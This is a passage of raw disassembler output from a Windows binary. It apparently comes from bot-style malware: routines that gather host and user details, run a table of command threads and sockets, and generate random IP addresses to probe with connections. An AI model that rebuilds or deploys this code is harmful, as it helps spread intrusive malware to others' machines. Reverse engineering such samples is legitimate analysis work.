		mov	[ebp+74h+var_4], eax
		jz	short loc_40A400
		cmp	[ebp+74h+arg_0], 19h
		jz	short loc_40A400
		cmp	eax, 6Eh
		jz	short loc_40A400
		cmp	eax, 19h
		jz	short loc_40A400
		push	[ebp+74h+var_115B0]
		call	sub_40A082
		add	esp, 4
		push	dword ptr [eax]
		call	dword_419254	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_15BC]
		push	offset aS_0	; "%s"
		push	eax
		call	sub_40D6BB
		push	[ebp+74h+var_115AC]
		call	sub_40A082
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_419254	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_DBC]
		push	offset aS_0	; "%s"
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+74h+var_11590]
		push	eax
		mov	[ebp+74h+var_8], ebx
		call	sub_40D630
		add	esp, 10h
		test	eax, eax
		jle	short loc_40A503


loc_40A4D4:				; CODE XREF: sub_40A29B+266j
		mov	eax, [ebp+74h+var_8]
		lea	eax, [ebp+eax+74h+var_11590]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_40A4E6
		mov	byte ptr [eax],	20h


loc_40A4E6:				; CODE XREF: sub_40A29B+246j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40A4EE
		mov	byte ptr [eax],	20h


loc_40A4EE:				; CODE XREF: sub_40A29B+24Ej
		inc	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_11590]
		push	eax
		call	sub_40D630
		cmp	[ebp+74h+var_8], eax
		pop	ecx
		jl	short loc_40A4D4


loc_40A503:				; CODE XREF: sub_40A29B+237j
		cmp	[ebp+74h+arg_0], 50h
		jz	short loc_40A542
		cmp	[ebp+74h+var_4], 50h
		jz	short loc_40A542
		lea	eax, [ebp+74h+var_11590]
		push	eax
		call	sub_40A091
		test	al, al
		pop	ecx
		jnz	short loc_40A553
		lea	eax, [ebp+74h+var_11590]
		push	eax
		call	sub_40A1B0
		test	al, al
		pop	ecx
		jnz	short loc_40A553
		lea	eax, [ebp+74h+var_11590]
		push	eax
		call	sub_40A226
		test	al, al
		pop	ecx
		jnz	short loc_40A553


loc_40A542:				; CODE XREF: sub_40A29B+26Cj
					; sub_40A29B+272j
		lea	eax, [ebp+74h+var_11590]
		push	eax
		call	sub_40A24D
		test	al, al
		pop	ecx
		jz	short loc_40A5A6


loc_40A553:				; CODE XREF: sub_40A29B+283j
					; sub_40A29B+294j ...
		lea	eax, [ebp+74h+var_11590]
		push	eax
		push	[ebp+74h+var_4]
		lea	eax, [ebp+74h+var_DBC]
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_15BC]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_4BC]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 20h
		cmp	[ebp+74h+var_30], ebx
		jnz	loc_40A400
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_4BC]
		push	eax
		lea	eax, [ebp+74h+var_B8]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4017B6
		add	esp, 10h
		jmp	loc_40A400
; ---------------------------------------------------------------------------


loc_40A5A6:				; CODE XREF: sub_40A29B+2B6j
		lea	eax, [ebp+74h+var_11590]
		push	eax
		call	sub_40A274
		test	al, al
		pop	ecx
		jz	loc_40A400
		jmp	short loc_40A553
sub_40A29B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A5BD	proc near		; CODE XREF: sub_40198E+1259p
					; .text:00409E27p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4190A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		mov	esi, offset dword_4C4868
		push	esi
		call	sub_40DFEC
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40A5BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_40A610	proc near		; CODE XREF: sub_40198E+147Dp

var_210		= byte ptr -210h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_E4		= byte ptr -0E4h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		mov	esi, 80h
		push	esi
		xor	ebx, ebx
		lea	eax, [ebp+6Ch+var_184]
		push	ebx
		push	eax
		call	sub_40D7B0
		push	8
		lea	eax, [ebp+6Ch+var_8]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 18h
		cmp	dword_4B98D8, ebx
		jnz	short loc_40A67F
		push	ebx
		push	esi
		lea	eax, [ebp+6Ch+var_184]
		push	eax
		lea	eax, [ebp+6Ch+var_14]
		push	eax
		call	dword_4C47D8
		test	[ebp+6Ch+var_14], 1
		lea	eax, [ebp+6Ch+var_8]
		push	7
		jz	short loc_40A678
		push	offset dword_41B694


loc_40A66D:				; CODE XREF: sub_40A610+6Dj
		push	eax
		call	sub_40DB80
		add	esp, 0Ch
		jmp	short loc_40A6A2
; ---------------------------------------------------------------------------


loc_40A678:				; CODE XREF: sub_40A610+56j
		push	offset dword_41B690
		jmp	short loc_40A66D
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_40A610+38j
		push	7
		mov	esi, offset off_41B68C
		lea	eax, [ebp+6Ch+var_8]
		push	esi
		push	eax
		call	sub_40DB80
		push	7Fh
		lea	eax, [ebp+6Ch+var_184]
		push	esi
		push	eax
		call	sub_40DB80
		add	esp, 18h


loc_40A6A2:				; CODE XREF: sub_40A610+66j
		push	10h
		pop	esi
		push	esi
		lea	eax, [ebp+6Ch+var_28]
		push	ebx
		push	eax
		mov	[ebp+6Ch+var_18], esi
		call	sub_40D7B0
		add	esp, 0Ch
		lea	eax, [ebp+6Ch+var_18]
		push	eax
		lea	eax, [ebp+6Ch+var_28]
		push	eax
		push	[ebp+6Ch+arg_8]
		call	dword_41922C	; getsockname
		lea	eax, [ebp+6Ch+var_104]
		push	eax
		mov	[ebp+6Ch+var_C], esi
		mov	[ebp+6Ch+var_10], 15h
		call	dword_419154	; GlobalMemoryStatus
		lea	eax, [ebp+6Ch+var_CC]
		push	eax
		mov	[ebp+6Ch+var_CC], 94h
		call	dword_419138	; GetVersionExA
		cmp	[ebp+6Ch+var_C8], 4
		jnz	short loc_40A72F
		cmp	[ebp+6Ch+var_C4], ebx
		jnz	short loc_40A715
		cmp	[ebp+6Ch+var_BC], 1
		mov	esi, offset dword_41B454
		jz	short loc_40A708
		mov	esi, [ebp+6Ch+arg_0]


loc_40A708:				; CODE XREF: sub_40A610+F3j
		cmp	[ebp+6Ch+var_BC], 2
		jnz	short loc_40A788
		mov	esi, offset dword_41B450
		jmp	short loc_40A764
; ---------------------------------------------------------------------------


loc_40A715:				; CODE XREF: sub_40A610+E8j
		cmp	[ebp+6Ch+var_C4], 0Ah
		jnz	short loc_40A722
		mov	esi, offset dword_41B44C
		jmp	short loc_40A75E
; ---------------------------------------------------------------------------


loc_40A722:				; CODE XREF: sub_40A610+109j
		cmp	[ebp+6Ch+var_C4], 5Ah
		jnz	short loc_40A759
		mov	esi, offset dword_41B448
		jmp	short loc_40A75E
; ---------------------------------------------------------------------------


loc_40A72F:				; CODE XREF: sub_40A610+E3j
		cmp	[ebp+6Ch+var_C8], 5
		jnz	short loc_40A759
		cmp	[ebp+6Ch+var_C4], ebx
		jnz	short loc_40A741
		mov	esi, offset dword_41B444
		jmp	short loc_40A75E
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A610+128j
		cmp	[ebp+6Ch+var_C4], 1
		jnz	short loc_40A74E
		mov	esi, offset dword_41B440
		jmp	short loc_40A75E
; ---------------------------------------------------------------------------


loc_40A74E:				; CODE XREF: sub_40A610+135j
		cmp	[ebp+6Ch+var_C4], 2
		mov	esi, offset dword_41B43C
		jz	short loc_40A75E


loc_40A759:				; CODE XREF: sub_40A610+116j
					; sub_40A610+123j
		mov	esi, offset dword_41B438


loc_40A75E:				; CODE XREF: sub_40A610+110j
					; sub_40A610+11Dj ...
		cmp	[ebp+6Ch+var_BC], 2
		jnz	short loc_40A788


loc_40A764:				; CODE XREF: sub_40A610+103j
		cmp	[ebp+6Ch+var_B8], bl
		jz	short loc_40A788
		lea	eax, [ebp+6Ch+var_B8]
		push	eax
		push	esi
		lea	eax, [ebp+6Ch+var_210]
		push	offset dword_41B684
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		lea	esi, [ebp+6Ch+var_210]


loc_40A788:				; CODE XREF: sub_40A610+FCj
					; sub_40A610+152j ...
		call	dword_4190A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	edi, eax
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		lea	eax, [ebp+6Ch+var_38]
		push	eax
		call	dword_419150	; GetComputerNameA
		lea	eax, [ebp+6Ch+var_10]
		push	eax
		lea	eax, [ebp+6Ch+var_E4]
		push	eax
		call	dword_419004	; GetUserNameA
		mov	eax, edi
		cdq
		mov	ecx, 15180h
		idiv	ecx
		mov	edi, 0E10h
		push	[ebp+6Ch+arg_4]
		mov	ecx, eax
		mov	eax, edx
		cdq
		idiv	edi
		mov	edi, eax
		movzx	eax, [ebp+6Ch+var_21]
		push	eax
		movzx	eax, [ebp+6Ch+var_22]
		push	eax
		movzx	eax, [ebp+6Ch+var_23]
		push	eax
		movzx	eax, [ebp+6Ch+var_24]
		push	eax
		lea	eax, [ebp+6Ch+var_184]
		push	eax
		lea	eax, [ebp+6Ch+var_8]
		push	eax
		lea	eax, [ebp+6Ch+var_E4]
		push	eax
		lea	eax, [ebp+6Ch+var_38]
		push	eax
		push	3Ch
		pop	ebx
		mov	eax, edx
		cdq
		idiv	ebx
		push	eax
		mov	eax, [ebp+6Ch+var_F8]
		push	edi
		push	ecx
		shr	eax, 14h
		push	eax
		mov	eax, [ebp+6Ch+var_FC]
		shr	eax, 14h
		push	eax
		push	[ebp+6Ch+var_C0]
		push	[ebp+6Ch+var_C4]
		push	[ebp+6Ch+var_C8]
		push	esi
		push	offset dword_41B5A8
		push	[ebp+6Ch+arg_0]
		call	sub_40D6BB
		mov	eax, [ebp+6Ch+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		leave
		retn
sub_40A610	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A83B	proc near		; CODE XREF: sub_40198E+10FDp
					; sub_40198E+132Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_421E08


loc_40A843:				; CODE XREF: sub_40A83B+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40A857
		add	eax, 434h
		inc	edi
		cmp	eax, offset dword_4A8608
		jl	short loc_40A843
		jmp	short loc_40A8A2
; ---------------------------------------------------------------------------


loc_40A857:				; CODE XREF: sub_40A83B+Bj
		push	esi
		mov	esi, edi
		imul	esi, 434h
		push	3FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_421E08[esi]
		push	eax
		call	sub_40DB80
		mov	eax, [esp+14h+arg_4]
		and	dword_42220C[esi], 0
		and	dword_422210[esi], 0
		mov	dword_422208[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch


loc_40A894:				; DATA XREF: .text:0041F834o
					; .text:0041F878o ...
		and	byte_422220[esi], 0
		mov	dword_422214[esi], eax
		pop	esi


loc_40A8A2:				; CODE XREF: sub_40A83B+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40A83B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8A6	proc near		; CODE XREF: sub_40AB1A+31p

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	offset dword_41B6A4
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4017B6
		add	esp, 10h
		xor	edi, edi
		mov	esi, offset dword_421E08


loc_40A8CE:				; CODE XREF: sub_40A8A6+74j
		cmp	byte ptr [esi],	0
		jz	short loc_40A90D
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A8E2
		cmp	dword ptr [esi+404h], 0
		jnz	short loc_40A90D


loc_40A8E2:				; CODE XREF: sub_40A8A6+31j
		push	esi
		push	edi
		lea	eax, [ebp+var_400]
		push	offset dword_41B69C
		push	eax
		call	sub_40D6BB
		push	[ebp+arg_8]
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4017B6
		add	esp, 20h


loc_40A90D:				; CODE XREF: sub_40A8A6+2Bj
					; sub_40A8A6+3Aj
		add	esi, 434h
		inc	edi
		cmp	esi, offset dword_4A8608
		jl	short loc_40A8CE
		pop	edi
		pop	esi
		leave
		retn
sub_40A8A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A920	proc near		; CODE XREF: sub_40198E+1E41p
					; sub_40A9B3+12p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[esp+0Ch+var_4], ebx
		jle	short loc_40A9AB
		cmp	esi, 200h
		jge	short loc_40A9AB
		imul	esi, 434h
		push	ebp
		push	edi
		push	ebx
		lea	edi, dword_42221C[esi]
		push	dword ptr [edi]
		call	dword_419158	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40A95C
		mov	[esp+0Ch+arg_0], 1


loc_40A95C:				; CODE XREF: sub_40A920+32j
		mov	[edi], ebx
		lea	edi, dword_422210[esi]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	dword_422208[esi], ebx
		mov	dword_42220C[esi], ebx
		jbe	short loc_40A97D
		push	eax
		call	sub_409718
		pop	ecx


loc_40A97D:				; CODE XREF: sub_40A920+54j
		mov	ebp, dword_419240
		mov	[edi], ebx
		lea	edi, dword_422214[esi]
		push	dword ptr [edi]
		mov	byte ptr dword_421E08[esi], bl
		mov	byte_422220[esi], bl
		call	ebp	; closesocket
		lea	esi, dword_422218[esi]
		push	dword ptr [esi]
		mov	[edi], ebx
		call	ebp	; closesocket
		pop	edi
		mov	[esi], ebx
		pop	ebp


loc_40A9AB:				; CODE XREF: sub_40A920+Fj
					; sub_40A920+17j
		mov	eax, [esp+0Ch+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_40A920	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9B3	proc near		; CODE XREF: sub_40198E+1E08p
					; sub_408B66:loc_408B82p
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_421E08


loc_40A9BF:				; CODE XREF: sub_40A9B3+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40A9D0
		push	edi
		call	sub_40A920
		test	eax, eax
		pop	ecx
		jz	short loc_40A9D0
		inc	ebx


loc_40A9D0:				; CODE XREF: sub_40A9B3+Fj
					; sub_40A9B3+1Aj
		add	esi, 434h
		inc	edi
		cmp	esi, offset dword_4A8608
		jl	short loc_40A9BF
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_40A9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9E5	proc near		; CODE XREF: sub_40198E+17B7p
					; sub_40AA51+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_42220C


loc_40A9F9:				; CODE XREF: sub_40A9E5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40AA1B
		test	edi, edi
		jle	short loc_40AA0D
		cmp	[esi], edi
		jz	short loc_40AA0D
		cmp	ebx, edi
		jnz	short loc_40AA1B


loc_40AA0D:				; CODE XREF: sub_40A9E5+1Ej
					; sub_40A9E5+22j
		push	ebx
		call	sub_40A920
		test	eax, eax
		pop	ecx
		jz	short loc_40AA1B
		inc	[ebp+var_4]


loc_40AA1B:				; CODE XREF: sub_40A9E5+1Aj
					; sub_40A9E5+26j ...
		add	esi, 434h
		inc	ebx
		cmp	esi, offset dword_4A8A0C
		jl	short loc_40A9F9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA32	proc near		; CODE XREF: sub_40198E+1569p
					; sub_40198E+16C3p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_422208


loc_40AA39:				; CODE XREF: sub_40AA32+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40AA42
		inc	eax


loc_40AA42:				; CODE XREF: sub_40AA32+Dj
		add	ecx, 434h
		cmp	ecx, offset dword_4A8A08
		jl	short loc_40AA39
		retn
sub_40AA32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA51	proc near		; CODE XREF: sub_40198E:loc_402ED1p

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40AA6A
		push	[ebp+arg_1C]
		call	sub_40E0C8
		pop	ecx


loc_40AA6A:				; CODE XREF: sub_40AA51+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40A9E5
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_40AA96
		push	eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_400]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		jmp	short loc_40AAB0
; ---------------------------------------------------------------------------


loc_40AA96:				; CODE XREF: sub_40AA51+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_400]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_40D6BB
		add	esp, 10h


loc_40AAB0:				; CODE XREF: sub_40AA51+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40AACE
		push	[ebp+arg_8]
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4017B6
		add	esp, 10h


loc_40AACE:				; CODE XREF: sub_40AA51+63j
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_401648
		pop	ecx
		leave
		retn
sub_40AA51	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AADD	proc near		; CODE XREF: sub_404901+28Bp
					; sub_4056A2+BBp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 434h
		xor	ecx, ecx
		mov	dword_42221C[eax], ecx
		mov	dword_422208[eax], ecx
		mov	dword_42220C[eax], ecx
		mov	dword_422210[eax], ecx
		mov	dword_422214[eax], ecx
		mov	dword_422218[eax], ecx
		mov	byte ptr dword_421E08[eax], cl
		mov	byte_422220[eax], cl
		retn
sub_40AADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40AB1A	proc near		; DATA XREF: sub_40198E+1349o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		push	[ebp+74h+var_10]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_40A8A6
		push	[ebp+74h+var_14]
		call	sub_40AADD
		add	esp, 14h
		push	0
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_40AB1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB64	proc near		; CODE XREF: sub_404901+198p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_417CBC
		mov	esi, eax
		test	esi, esi
		jz	loc_40AC0B
		push	edi
		push	esi
		call	sub_40E74F
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_40AC08
		push	edi
		push	esi
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_417CB6
		test	eax, eax
		jz	short loc_40ABE2
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_41A0E0 ; "\\"
		push	edi
		call	sub_417CB0
		test	eax, eax
		jz	short loc_40AC01
		mov	eax, [ebp+var_8]
		cmp	word ptr [eax+0Eh], 0A28h
		jnz	short loc_40AC01
		movzx	eax, word ptr [eax+0Ch]
		cmp	eax, 884h
		jz	short loc_40ABFC
		cmp	eax, 9C9h
		jz	short loc_40ABF8
		cmp	eax, 0A7Dh
		jz	short loc_40ABF4
		cmp	eax, 0B4Ch
		jz	short loc_40ABEF


loc_40ABE2:				; CODE XREF: sub_40AB64+3Aj
		xor	esi, esi


loc_40ABE4:				; CODE XREF: sub_40AB64+8Ej
					; sub_40AB64+9Bj
		push	edi
		call	sub_40E359
		pop	ecx
		mov	eax, esi
		jmp	short loc_40AC0A
; ---------------------------------------------------------------------------


loc_40ABEF:				; CODE XREF: sub_40AB64+7Cj
		push	2


loc_40ABF1:				; CODE XREF: sub_40AB64+92j
					; sub_40AB64+96j
		pop	esi
		jmp	short loc_40ABE4
; ---------------------------------------------------------------------------


loc_40ABF4:				; CODE XREF: sub_40AB64+75j
		push	4
		jmp	short loc_40ABF1
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB64+6Ej
		push	3
		jmp	short loc_40ABF1
; ---------------------------------------------------------------------------


loc_40ABFC:				; CODE XREF: sub_40AB64+67j
		xor	esi, esi
		inc	esi
		jmp	short loc_40ABE4
; ---------------------------------------------------------------------------


loc_40AC01:				; CODE XREF: sub_40AB64+51j
					; sub_40AB64+5Cj
		push	edi
		call	sub_40E359
		pop	ecx


loc_40AC08:				; CODE XREF: sub_40AB64+29j
		xor	eax, eax


loc_40AC0A:				; CODE XREF: sub_40AB64+89j
		pop	edi


loc_40AC0B:				; CODE XREF: sub_40AB64+17j
		pop	esi
		leave
		retn
sub_40AB64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0E	proc near		; CODE XREF: sub_40AD8F:loc_40ADF1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	4
		lea	esi, ds:4C48A0h[esi*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_40E3A0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C4760
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C47B8
		mov	[ebp+arg_0], eax
		push	4
		lea	eax, [ebp+arg_0]
		push	eax
		push	esi
		call	sub_40E3A0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40AC0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC56	proc near		; CODE XREF: sub_40AD8F+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_0]
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_40D630
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40AC7E
		xor	eax, eax
		jmp	short loc_40ACEF
; ---------------------------------------------------------------------------


loc_40AC7E:				; CODE XREF: sub_40AC56+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_419868
		push	[ebp+arg_0]
		call	sub_40DCA4
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40ACAB
		call	sub_40E04D
		mov	[ebp+var_C], eax


loc_40ACAB:				; CODE XREF: sub_40AC56+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40ACB8
		call	sub_40E04D
		mov	[ebp+var_8], eax


loc_40ACB8:				; CODE XREF: sub_40AC56+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40ACC5
		call	sub_40E04D
		mov	[ebp+var_4], eax


loc_40ACC5:				; CODE XREF: sub_40AC56+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40ACD1
		call	sub_40E04D


loc_40ACD1:				; CODE XREF: sub_40AC56+74j
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_4]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4C48A0[ecx*8], eax


loc_40ACEF:				; CODE XREF: sub_40AC56+26j
		pop	esi
		leave
		retn
sub_40AC56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACF2	proc near		; CODE XREF: sub_40AD8F+A9p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4C4690
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AD1B
		xor	eax, eax
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD1B:				; CODE XREF: sub_40ACF2+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4C47DC
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C4624
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4C463C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4C4734
		push	esi
		mov	edi, eax
		call	dword_4C479C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40AD8A:				; CODE XREF: sub_40ACF2+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ACF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD8F	proc near		; DATA XREF: sub_40AFA2+117o

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
